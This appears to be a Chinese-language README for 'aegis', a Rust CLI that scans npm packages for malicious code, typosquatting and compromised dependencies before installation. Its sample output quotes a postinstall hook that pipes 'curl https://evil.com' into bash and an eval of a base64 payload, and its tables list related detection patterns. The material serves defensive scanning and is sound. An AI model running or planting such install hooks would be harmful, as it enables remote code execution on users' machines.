z8run/aegis
GitHub: z8run/aegis
npm 包供应链安全扫描器，在安装前检测恶意代码、抢注仿冒和被入侵的依赖，防止供应链攻击进入项目。
Stars: 2 | Forks: 0
# aegis
[](https://github.com/z8run/aegis/actions)
[](LICENSE)
npm 包供应链安全扫描器。在你安装之前检测恶意代码、抢注（typosquatting）和被入侵的包。
```
$ aegis-scan check suspicious-pkg@1.0.0
📦 suspicious-pkg@1.0.0
⛔ CRITICAL — Code Execution
│ eval() with base64 encoded payload
│ 📄 lib/index.js:14
│ └─ eval(Buffer.from("d2luZG93cy5sb2NhdGlvbg==", "base64").toString())
⚠️ HIGH — Install Script
│ postinstall downloads and executes remote script
│ 📄 package.json
│ └─ "postinstall": "curl https://evil.com | bash"
Risk: 8.5/10 — DO NOT INSTALL
```
## 安装
### 从 crates.io
```
cargo install aegis-scan
```
### 从源码
```
git clone https://github.com/z8run/aegis.git
cd aegis
cargo install --path .
```
### 预编译二进制文件
从 [发布页面](https://github.com/z8run/aegis/releases) 下载。
| 平台 | 二进制文件 |
|---|---|
| Linux x86_64 | `aegis-linux-x86_64` |
| macOS Apple Silicon | `aegis-macos-arm64` |
| macOS Intel | `aegis-macos-x86_64` |
## 用法
### 检查包
```
aegis-scan check axios
aegis-scan check axios@1.7.0
aegis-scan check @angular/core@17.0.0
```
### 扫描项目
```
aegis-scan scan .
aegis-scan scan ./my-project --skip-dev
```
### 带安全检查的安装
```
aegis-scan install axios express # check then install
aegis-scan install # check all deps then npm install
aegis-scan install axios --force # skip confirmation prompts
```
### 输出格式
```
aegis-scan check lodash --json # JSON output
aegis-scan check lodash --sarif # SARIF v2.1.0 (GitHub Security tab)
```
### 缓存管理
```
aegis-scan cache clear # clear all cached results
aegis-scan check axios --no-cache # bypass cache for this check
```
## 检测内容
| 分析器 | 描述 |
|---|---|
| **静态代码** | `eval()`, `child_process`, 网络数据窃取, 通过正则表达式收集环境变量 |
| **AST 分析** | 使用 tree-sitter JS 解析，对危险模式进行结构化检测 |
| **安装脚本** | 可疑的 `postinstall`/`preinstall` 命令 |
| **混淆** | 高熵, hex/base64 载荷, 编码字符串 |
| **维护者追踪** | 所有权转移, 新账号, 接管攻击 |
| **AI 幻觉** | LLM "虚构" 的包 —— 一种日益增长的攻击向量 |
| **抢注** | 与流行包名称相似的包 (axois vs axios) |
| **CVE 查询** | 通过 OSV.dev 查找已知漏洞 |
| **依赖树** | 递归扫描传递依赖 |
| **YAML 规则** | 10 个内置规则 + 自定义社区规则 |
## 风险评分
发现结果按严重程度加权并汇总为 0-10 分：
| 严重性 | 权重 | 示例 |
|---|---|---|
| Critical | 3.0 | `eval(Buffer.from(...))`, 管道传输至 shell |
| High | 1.5 | `require('child_process')`, 环境变量收集 |
| Medium | 0.5 | DNS 查询, WebSocket 连接 |
| Low | 0.1 | 带动态 URL 的 `fetch()`, 文件读取 |
| 分数 | 标签 |
|---|---|
| 0-1 | CLEAN |
| 1-3 | LOW RISK |
| 3-5 | MEDIUM RISK |
| 5-7 | HIGH RISK |
| 7-10 | DO NOT INSTALL |
## CI/CD
### GitHub Action
```
- uses: z8run/aegis-action@v1
with:
path: '.'
fail-on: 'high' # critical, high, medium, low
skip-dev: 'false'
sarif: 'true' # upload to GitHub Security tab
```
### 退出代码
| 代码 | 含义 |
|---|---|
| `0` | 无高风险发现 |
| `1` | 检测到 HIGH 或 CRITICAL 级别的发现 |
| `2` | 运行时错误 |
## 自定义规则
将 `.yml` 文件放置在 `rules/` 目录中：
```
id: "CUSTOM-001"
name: "Crypto wallet regex"
description: "Flags packages containing crypto wallet address patterns"
severity: high
category: suspicious
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
exclude_paths:
- "node_modules/"
- "test/"
- "*.min.js"
```
更多示例见 [`rules/examples/`](rules/examples/)。
## 架构
```
npm registry → tarball extraction → analyzers → risk scoring → output
│
┌───────────────────┼───────────────────┐
│ │ │
static + AST metadata-based external APIs
(code patterns) (maintainer, (CVE, dep tree)
hallucination)
```
结果在本地缓存（`~/.aegis/cache/`）24 小时。
## 贡献
开发设置和指南请参见 [CONTRIBUTING.md](.github/CONTRIBUTING.md)。
## 许可证
[MIT](LICENSE)
标签：DevSecOps, DNS 反向解析, Eval注入检测, IP 地址批量处理, Node.js安全, NPM包扫描器, Package Manager Security, Redis利用, Rust安全工具, SAAS安全, SARIF支持, Typosquatting检测, URL收集, 上游代理, 依赖安全, 前置安装检查, 可视化界面, 安装脚本分析, 文档安全, 暗色界面, 混淆代码检测, 网络信息收集, 跨平台CLI工具, 软件供应链, 通知系统, 错误基检测, 静态代码分析, 预检工具